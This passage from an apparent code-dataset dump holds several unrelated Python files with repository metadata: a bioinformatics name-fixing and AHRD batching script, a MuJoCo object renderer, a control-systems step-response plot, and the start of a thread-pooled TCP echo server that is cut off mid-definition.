s.strip() == \"protein\":\n        s = Hypothetical\n\n    # Compact all spaces\n    s = \" \".join(s.split())\n\n    assert s.strip()\n\n    return s\n\n\ndef fix(args):\n    \"\"\"\n    %prog fix ahrd.csv > ahrd.fixed.csv\n\n    Fix ugly names from Uniprot.\n    \"\"\"\n    p = OptionParser(fix.__doc__)\n    p.add_option(\n        \"--ignore_sym_pat\",\n        default=False,\n        action=\"store_true\",\n        help=\"Do not fix names matching symbol patterns i.e.\"\n        + \" names beginning or ending with gene symbols or a series of numbers.\"\n        + \" e.g. `ARM repeat superfamily protein`, `beta-hexosaminidase 3`,\"\n        + \" `CYCLIN A3;4`, `WALL ASSOCIATED KINASE (WAK)-LIKE 10`\",\n    )\n    p.set_outfile()\n    opts, args = p.parse_args(args)\n\n    if len(args) < 1:\n        sys.exit(not p.print_help())\n\n    (csvfile,) = args\n    fp = open(csvfile)\n    fw = must_open(opts.outfile, \"w\")\n    for row in fp:\n        if row[0] == \"#\":\n            continue\n        if row.strip() == \"\":\n            continue\n        atoms = row.rstrip(\"\\r\\n\").split(\"\\t\")\n        name, hit, ahrd_code, desc = (\n            atoms[:4] if len(atoms) > 2 else (atoms[0], None, None, atoms[-1])\n        )\n\n        newdesc = fix_text(desc, ignore_sym_pat=opts.ignore_sym_pat)\n        if hit and hit.strip() != \"\" and newdesc == Hypothetical:\n            newdesc = \"conserved \" + newdesc\n        print(\"\\t\".join(atoms[:4] + [newdesc] + atoms[4:]), file=fw)\n\n\ndef merge(args):\n    \"\"\"\n    %prog merge output/*.csv > ahrd.csv\n\n    Merge AHRD results, remove redundant headers, empty lines, etc. If there are\n    multiple lines containing the same ID (first column). Then whatever comes\n    the first will get retained.\n    \"\"\"\n    p = OptionParser(merge.__doc__)\n    opts, args = p.parse_args(args)\n\n    if len(args) < 1:\n        sys.exit(not p.print_help())\n\n    csvfiles = args\n    cf = csvfiles[0]\n    fp = open(cf)\n    for row in fp:\n        if row.startswith(\"Protein\"):\n            break\n    header = row.rstrip()\n    print(header)\n\n    seen = set()\n    for cf in csvfiles:\n        fp = open(cf)\n        for row in fp:\n            if row[0] == \"#\":\n                continue\n            if row.strip() == \"\":\n                continue\n            if row.strip() == header:\n                continue\n\n            atoms = row.rstrip().split(\"\\t\")\n            id = atoms[0]\n            if id in seen:\n                logging.error(\"ID `{0}` ignored.\".format(id))\n                continue\n\n            seen.add(id)\n            print(row.strip())\n\n\ndef batch(args):\n    \"\"\"\n    %prog batch splits output\n\n    The arguments are two folders.\n    Input FASTA sequences are in splits/.\n    Output csv files are in output/.\n\n    Must have folders swissprot/, tair/, trembl/ that contains the respective\n    BLAST output. Once finished, you can run, for example:\n\n    $ parallel java -Xmx2g -jar ~/code/AHRD/dist/ahrd.jar {} ::: output/*.yml\n    \"\"\"\n    p = OptionParser(batch.__doc__)\n\n    ahrd_weights = {\"blastp\": [0.5, 0.3, 0.2], \"blastx\": [0.6, 0.4, 0.0]}\n    blast_progs = tuple(ahrd_weights.keys())\n\n    p.add_option(\n        \"--path\",\n        default=\"~/code/AHRD/\",\n        help=\"Path where AHRD is installed\",\n    )\n    p.add_option(\n        \"--blastprog\",\n        default=\"blastp\",\n        choices=blast_progs,\n        help=\"Specify the blast program being run. Based on this option,\"\n        + \" the AHRD parameters (score_weights) will be modified\",\n    )\n    p.add_option(\n        \"--iprscan\",\n        default=None,\n        help=\"Specify path to InterProScan results file if available.\"\n        + \" If specified, the yml conf file will be modified\"\n        + \" appropriately\",\n    )\n\n    opts, args = p.parse_args(args)\n\n    if len(args) != 2:\n        sys.exit(not p.print_help())\n\n    splits, output = args\n    mkdir(output)\n\n    bit_score, db_score, ovl_score = ahrd_weights[opts.blastprog]\n\n    for f in glob(\"{0}/*.fa*\".format(splits)):\n        fb = op.basename(f).rsplit(\".\", 1)[0]\n        fw = open(op.join(output, fb + \".yml\"), \"w\")\n\n        path = op.expanduser(opts.path)\n        dir = op.join(path, \"test/resources\")\n        outfile = op.join(output, fb + \".csv\")\n        interpro = iprscanTemplate.format(opts.iprscan) if opts.iprscan else \"\"\n\n        print(\n            Template.format(\n                dir, fb, f, outfile, bit_score, db_score, ovl_score, interpro\n            ),\n            file=fw,\n        )\n\n    if opts.iprscan:\n        if not op.lexists(\"interpro.xml\"):\n            symlink(op.join(iprscan_datadir, \"interpro.xml\"), \"interpro.xml\")\n\n        if not op.lexists(\"interpro.dtd\"):\n            symlink(op.join(iprscan_datadir, \"interpro.dtd\"), \"interpro.dtd\")\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "tanghaibao/jcvi", "sub_path": "jcvi/annotation/ahrd.py", "file_name": "ahrd.py", "file_ext": "py", "file_size_in_byte": 21414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 634, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.compile", "line_number": 21, "usage_type": "call"}, {"api_name": "re.I", "line_number": 21, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "re.I", "line_number": 23, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "re.I", "line_number": 25, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "re.I", "line_number": 27, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 31, "usage_type": "call"}, {"api_name": "re.I", "line_number": 31, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 34, "usage_type": "call"}, {"api_name": "re.I", "line_number": 34, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 37, "usage_type": "call"}, {"api_name": "re.I", "line_number": 37, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 38, "usage_type": "call"}, {"api_name": "re.I", "line_number": 38, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 39, "usage_type": "call"}, {"api_name": "re.I", "line_number": 39, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 40, "usage_type": "call"}, {"api_name": "re.I", "line_number": 40, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 41, "usage_type": "call"}, {"api_name": "re.I", "line_number": 41, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 44, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 47, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 50, "usage_type": "call"}, {"api_name": "re.I", "line_number": 50, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 53, "usage_type": "call"}, {"api_name": "re.I", "line_number": 53, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 56, "usage_type": "call"}, {"api_name": "re.I", "line_number": 56, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 59, "usage_type": "call"}, {"api_name": "re.I", "line_number": 59, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 62, "usage_type": "call"}, {"api_name": "re.I", "line_number": 62, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 65, "usage_type": "call"}, {"api_name": "re.I", "line_number": 65, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 68, "usage_type": "call"}, {"api_name": "re.I", "line_number": 68, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 71, "usage_type": "call"}, {"api_name": "re.I", "line_number": 71, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 74, "usage_type": "call"}, {"api_name": "re.I", "line_number": 74, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 76, "usage_type": "call"}, {"api_name": "re.I", "line_number": 76, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 78, "usage_type": "call"}, {"api_name": "re.I", "line_number": 78, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 80, "usage_type": "call"}, {"api_name": "re.I", "line_number": 80, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 84, "usage_type": "call"}, {"api_name": "re.I", "line_number": 84, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 87, "usage_type": "call"}, {"api_name": "re.I", "line_number": 87, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 90, "usage_type": "call"}, {"api_name": "re.I", "line_number": 90, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 93, "usage_type": "call"}, {"api_name": "re.I", "line_number": 93, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 96, "usage_type": "call"}, {"api_name": "re.I", "line_number": 97, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 101, "usage_type": "call"}, {"api_name": "re.I", "line_number": 101, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 104, "usage_type": "call"}, {"api_name": "re.I", "line_number": 104, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 108, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 112, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 115, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 119, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 122, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 123, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 124, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 128, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 129, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 132, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 135, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 138, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 141, "usage_type": "call"}, {"api_name": "re.I", "line_number": 141, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 145, "usage_type": "call"}, {"api_name": "re.I", "line_number": 145, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 146, "usage_type": "call"}, {"api_name": "re.I", "line_number": 146, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 149, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 156, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 157, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 158, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 163, "usage_type": "call"}, {"api_name": "jcvi.apps.base.ActionDispatcher", "line_number": 220, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 266, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 291, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 293, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 296, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 308, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 311, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 313, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 315, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 316, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 321, "usage_type": "call"}, {"api_name": "re.search", "line_number": 324, "usage_type": "call"}, {"api_name": "re.search", "line_number": 328, "usage_type": "call"}, {"api_name": "re.match", "line_number": 330, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 331, "usage_type": "call"}, {"api_name": "re.search", "line_number": 334, "usage_type": "call"}, {"api_name": "re.search", "line_number": 336, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 337, "usage_type": "call"}, {"api_name": "re.match", "line_number": 338, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 339, "usage_type": "call"}, {"api_name": "re.search", "line_number": 342, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 343, "usage_type": "call"}, {"api_name": "re.match", "line_number": 344, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 345, "usage_type": "call"}, {"api_name": "re.search", "line_number": 348, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 349, "usage_type": "call"}, {"api_name": "re.match", "line_number": 350, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 351, "usage_type": "call"}, {"api_name": "re.search", "line_number": 354, "usage_type": "call"}, {"api_name": "re.match", "line_number": 355, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 357, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 358, "usage_type": "call"}, {"api_name": "re.search", "line_number": 365, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 366, "usage_type": "call"}, {"api_name": "re.search", "line_number": 370, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 371, "usage_type": "call"}, {"api_name": "re.search", "line_number": 374, "usage_type": "call"}, {"api_name": "re.search", "line_number": 376, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 378, "usage_type": "call"}, {"api_name": "re.search", "line_number": 381, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 382, "usage_type": "call"}, {"api_name": "re.search", "line_number": 385, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 386, "usage_type": "call"}, {"api_name": "re.search", "line_number": 389, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 390, "usage_type": "call"}, {"api_name": "re.search", "line_number": 395, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 402, "usage_type": "call"}, {"api_name": "re.search", "line_number": 405, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 406, "usage_type": "call"}, {"api_name": "re.search", "line_number": 410, "usage_type": "call"}, {"api_name": "re.search", "line_number": 411, "usage_type": "call"}, {"api_name": "re.search", "line_number": 419, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 420, "usage_type": "call"}, {"api_name": "re.search", "line_number": 426, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 427, "usage_type": "call"}, {"api_name": "re.search", "line_number": 430, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 431, "usage_type": "call"}, {"api_name": "re.search", "line_number": 435, "usage_type": "call"}, {"api_name": "re.search", "line_number": 441, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 442, "usage_type": "call"}, {"api_name": "re.search", "line_number": 445, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 446, "usage_type": "call"}, {"api_name": "re.search", "line_number": 452, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 453, "usage_type": "call"}, {"api_name": "re.search", "line_number": 456, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 457, "usage_type": "call"}, {"api_name": "re.search", "line_number": 460, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 461, "usage_type": "call"}, {"api_name": "re.search", "line_number": 464, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 465, "usage_type": "call"}, {"api_name": "re.search", "line_number": 468, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 469, "usage_type": "call"}, {"api_name": "re.search", "line_number": 472, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 473, "usage_type": "call"}, {"api_name": "re.search", "line_number": 476, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 477, "usage_type": "call"}, {"api_name": "re.search", "line_number": 480, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 481, "usage_type": "call"}, {"api_name": "re.search", "line_number": 484, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 485, "usage_type": "call"}, {"api_name": "re.search", "line_number": 488, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 493, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 495, "usage_type": "call"}, {"api_name": "re.search", "line_number": 497, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 500, "usage_type": "call"}, {"api_name": "re.search", "line_number": 503, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 506, "usage_type": "call"}, {"api_name": "re.search", "line_number": 515, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 516, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 537, "usage_type": "call"}, {"api_name": "jcvi.apps.base.OptionParser", "line_number": 556, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 570, "usage_type": "call"}, {"api_name": "jcvi.formats.base.must_open", "line_number": 574, "usage_type": "call"}, {"api_name": "jcvi.apps.base.OptionParser", "line_number": 599, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 603, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 628, "usage_type": "call"}, {"api_name": "jcvi.apps.base.OptionParser", "line_number": 648, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 676, "usage_type": "call"}, {"api_name": "jcvi.apps.base.mkdir", "line_number": 679, "usage_type": "call"}, {"api_name": "jcvi.apps.base.glob", "line_number": 683, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 684, "usage_type": "call"}, {"api_name": "os.path", "line_number": 684, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 685, "usage_type": "call"}, {"api_name": "os.path", "line_number": 685, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 687, "usage_type": "call"}, {"api_name": "os.path", "line_number": 687, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 688, "usage_type": "call"}, {"api_name": "os.path", "line_number": 688, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 689, "usage_type": "call"}, {"api_name": "os.path", "line_number": 689, "usage_type": "name"}, {"api_name": "os.path.lexists", "line_number": 700, "usage_type": "call"}, {"api_name": "os.path", "line_number": 700, "usage_type": "name"}, {"api_name": "os.symlink", "line_number": 701, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 701, "usage_type": "call"}, {"api_name": "os.path", "line_number": 701, "usage_type": "name"}, {"api_name": "os.path.lexists", "line_number": 703, "usage_type": "call"}, {"api_name": "os.path", "line_number": 703, "usage_type": "name"}, {"api_name": "os.symlink", "line_number": 704, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 704, "usage_type": "call"}, {"api_name": "os.path", "line_number": 704, "usage_type": "name"}]}
{"seq_id": "40708326322", "text": "import os\nimport platform\nif platform.system() == 'Linux':\n    os.environ['MUJOCO_GL']='egl' \n# os.environ[\"MUJOCO_EGL_DEVICE_ID\"] = \"0\"\nfrom typing import List, Optional, Tuple, Union\nimport mujoco\nimport numpy as np\nimport numpy.typing as npt\n\nclass WorldModel:\n    \"\"\"\n    This class maintains a world model of a colored object as it changes orientation and color.\n    \"\"\"\n    def __init__(self, object_dir:str, object_name:str, figsize:Tuple[int,int]=(72,72)):\n        \"\"\"\n        Initialize the mujoco simulation and renderer.\n\n        Todo: add color option, 1D rotation option.\n        \"\"\"\n        object_dir = os.path.expanduser(object_dir)\n        xml = self._create_xml(object_dir, object_name)\n        self._model = mujoco.MjModel.from_xml_string(xml)\n        self._data = mujoco.MjData(self._model)\n        \n        self._camera = self._model.body('camera')\n        self._object = self._model.body(object_name)\n        # Center the object at the origin.\n        self._object.ipos = np.array([0,0,0])\n\n\n        self._figsize = figsize\n        self._renderer = mujoco.Renderer(self._model, \n                                        height=figsize[0], \n                                        width=figsize[1])\n\n    @property\n    def figsize(self)->Tuple[int,int]:\n        return self._figsize\n\n    @property\n    def orientation(self)->npt.NDArray[np.float64]:\n        # normalize the quaterniopn prior to returning it.\n        quat = self._object.quat\n        return quat / np.linalg.norm(quat)\n\n\n    def render(self)->npt.NDArray[np.float64]:\n        \"\"\"\n        Render the scene at the current position and orientation.\n\n        Parameters\n        ----------\n\n        Returns\n        -------\n        np.ndarray\n            the rendered image.\n        \"\"\"\n        mujoco.mj_forward(self._model, self._data)\n        self._renderer.update_scene(self._data, camera=\"camera\")\n        return self._renderer.render() \n\n\n    def set_orientation(self, quat:npt.NDArray[np.float64]) -> None:\n        self._object.quat = quat\n\n\n    def rotate_by(self, quat:npt.NDArray[np.float64]) -> None:\n        \"\"\"\n        Rotate the object by the given quaternion.\n\n        Parameters\n        ----------\n        quat : np.ndarray\n            the quaternion to rotate by.\n        \"\"\"\n        mujoco.mju_mulQuat(\n            self._object.quat, quat, self._object.quat)\n        \n\n    def set_color(self, color:npt.NDArray[np.float64]) -> None:\n        \"\"\"\n        Set the color of the object.\n\n        Parameters\n        ----------\n        color : np.ndarray\n            the rgba color to set.\n        \"\"\"\n        self._model.geom(self._object.geomadr).rgba = color    \n\n\n    def _create_xml(self, objects_dir:str, object_name:str):\n        \"\"\"\n        Create the xml file for the mujoco simulation.\n        \"\"\"\n        xml = f\"\"\"\n        <mujoco>\n            <visual>\n                <quality numslices=\"1000\" offsamples=\"1000\"/>\n            </visual>\n            <asset>\n                <texture type=\"skybox\" builtin=\"flat\" rgb1=\"1 1 1\" width=\"32\" height=\"512\"/>\n                <mesh name=\"{object_name}_mesh\" file=\"{os.path.join(objects_dir,object_name)}.obj\"/>\n            </asset>\n\n            <worldbody>\n                <body name=\"{object_name}\" pos=\"0 0 0\">\n                    <geom name=\"{object_name}\" type=\"mesh\" mesh=\"{object_name}_mesh\" size=\".2 .2 .2\" rgba=\"1 0 0 1\" quat=\"0.707 0.707 0 0\"/>\n                </body>\n                <body name=\"camera\" pos=\"0 0 0\" quat=\"0 0 0 0\">\n                    <camera name=\"camera\" mode=\"fixed\" pos = \"0 -0.32 0.0\" quat=\"0.7 0.7 0 0\"/>\n                </body>\n            </worldbody>\n            <option timestep=\"0.01\" gravity=\"0 0 0\"/>\n        </mujoco>\n        \"\"\"\n        return xml\n", "repo_name": "hamzakeurti/homomorphismvae", "sub_path": "displacementae/data/obj3d/world_model.py", "file_name": "world_model.py", "file_ext": "py", "file_size_in_byte": 3732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "platform.system", "line_number": 3, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 4, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "mujoco.MjModel.from_xml_string", "line_number": 23, "usage_type": "call"}, {"api_name": "mujoco.MjModel", "line_number": 23, "usage_type": "attribute"}, {"api_name": "mujoco.MjData", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "mujoco.Renderer", "line_number": 33, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.typing.NDArray", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.typing", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 42, "usage_type": "attribute"}, {"api_name": "mujoco.mj_forward", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.typing.NDArray", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.typing", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.typing.NDArray", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.typing", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.typing.NDArray", "line_number": 69, "usage_type": "attribute"}, {"api_name": "numpy.typing", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 69, "usage_type": "attribute"}, {"api_name": "mujoco.mju_mulQuat", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.typing.NDArray", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.typing", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path", "line_number": 105, "usage_type": "attribute"}]}
{"seq_id": "11514606359", "text": "import numpy as np\nimport control as cnt\nimport matplotlib.pyplot as plt\nfrom scipy.io import loadmat\n#considerando uma função de transferencia em malha aberta FT=k/(tau*s+1)\nk = 3.489\ntau = 14.865\nTheta = 3.045 # atraso de propagação\n\n\n# erro em malha aberta\n# 55,83 - 16 = 39,83\n\n\n# temp acomo = 4 * tau\n\n\n#escrevendo a função de transferência da planta\nnum = np. array ([k])\nden = np. array ([tau , 1])\nH = cnt.tf(num , den)\nn_pade = 20\n( num_pade , den_pade ) = cnt.pade ( Theta , n_pade )\nH_pade = cnt.tf( num_pade , den_pade )\nHs = cnt.series (H , H_pade)\n\n# realimentando\nHmf = cnt.feedback(Hs, 1)\n\nt = np . linspace (0 , 100 , 100)\n(t , y ) = cnt.step_response ( 16 * Hs, t )\n(t , y1 ) = cnt.step_response ( 16 * Hmf, t )\nplt.plot (t , y1, color='brown')\nplt.xlabel ( ' t [ s ] ')\nplt.ylabel('Amplitude')\nplt.title('Planta malha fechada')\n\n\nmat=loadmat('TransferFunction16.mat')\n#print(mat)\n#Variáveis\ndegrau = mat.get('degrau')\nsaida=mat.get('saida')\nt1 = mat.get('t')\n\nplot1=plt.plot(t1.T,saida, label='Saída', color='green')\nplot2=plt.plot(t1.T,degrau,label='degrau de entrada', color='orange')\n\nplt.grid ()\nplt.show()\n\n", "repo_name": "alvarolopes2021/C213", "sub_path": "smith.py", "file_name": "smith.py", "file_ext": "py", "file_size_in_byte": 1140, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "control.tf", "line_number": 21, "usage_type": "call"}, {"api_name": "control.pade", "line_number": 23, "usage_type": "call"}, {"api_name": "control.tf", "line_number": 24, "usage_type": "call"}, {"api_name": "control.series", "line_number": 25, "usage_type": "call"}, {"api_name": "control.feedback", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 30, "usage_type": "call"}, {"api_name": "control.step_response", "line_number": 31, "usage_type": "call"}, {"api_name": "control.step_response", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "scipy.io.loadmat", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}]}
{"seq_id": "8906323183", "text": "import sys\nimport socket\nimport threading\nimport socketserver\nimport time, functools\nimport _thread\nimport json\nimport re\nfrom multiprocessing import Queue\nimport traceback\n\nCONFIG = dict()\n\nSTOP_SERVER = threading.Event()\n\n\n\nclass ThreadedTCPRequestHandler(socketserver.BaseRequestHandler):\n    \"\"\"Request handler\"\"\"\n    def __init__(self, *args, **kwargs):\n        socketserver.BaseRequestHandler.__init__(self, *args, **kwargs)\n\n    def setup(self):\n        self.config = CONFIG\n\n    def handle(self):\n        '''\n            Do your funcky things here !!!\n        '''\n        try:\n            while True:\n                data = self.request.recv(1024)\n                self.request.send(data)\n                print('!!! Data Recieved & Sent :- {}'.format(data.decode()))\n                print('@ Time taken to execute the request :- {}'.format(time.time() - self.time_of_request_arrival))\n        except KeyboardInterrupt:\n            print('Connection Interupted By Client.')\n        except Exception as e:\n            # print( \"EXCEPTION TRACE  PRINT:\\n{}\".format(traceback.format_exc(e)))\n            print('EXCEPTION :- {}'.format(e))\n            pass\n\n\nclass Extended_ThreadingMixIN(socketserver.ThreadingMixIn):\n    '''\n    Extended base class to overide the method which calls the user written function \n    ThreadedTCPRequestHandler(), to add the time parameter\n    '''\n    def process_request_thread(self, request, client_address):\n        self.RequestHandlerClass.time_of_request_arrival = self.time_of_request_arrival\n        try:\n            self.finish_request(request, client_address)\n        except Exception:\n            self.handle_error(request, client_address)\n        finally:\n            self.shutdown_request(request)\n\n\n#Extended ThreadingMixIn ::::::::::::::::::::::\nclass ThreadPoolMixIn(socketserver.ThreadingMixIn):\n    '''\n    use a thread pool instead of a new thread on every request\n    '''\n    allow_reuse_address = True  # seems to fix socket.error on server restart\n    def serve_forever(self):\n        '''\n        Handle one request at a time until doomsday.\n        '''\n        print('[X] Server is Running with No of Threads :- {}'.format(self.numThreads))\n        # set up the threadpool\n        self.requests = Queue(self.numThreads)\n        for x in range(self.numThreads):\n            t = threading.Thread(target = self.process_request_thread)\n            t.setDaemon(1)\n            t.start()\n\n        # server main loop\n        while True:\n            self.handle_request()\n        self.server_close()\n    \n\n\n    def process_request_thread(self):\n        '''\n        obtain request from queue instead of directly from server socket\n        '''\n        while True:\n            Extended_ThreadingMixIN.process_request_thread(self, *self.requests.get())\n    def handle_request(self):\n        '''\n        simply collect requests and put them on the queue for the workers.\n        '''\n        try:\n            request, client_address = self.get_request()\n        except socket.error:\n            return\n        if self.verify_request(request, client_address):\n            self.time_of_request_arrival = time.time()\n            self.requests.put((request, client_address))\n\nclass ThreadedTCPServer(ThreadPoolMixIn, socketserver.TCPServer):\n    #Extend base class and overide the thread paramter to control the number of threads.\n    def __init__(self, 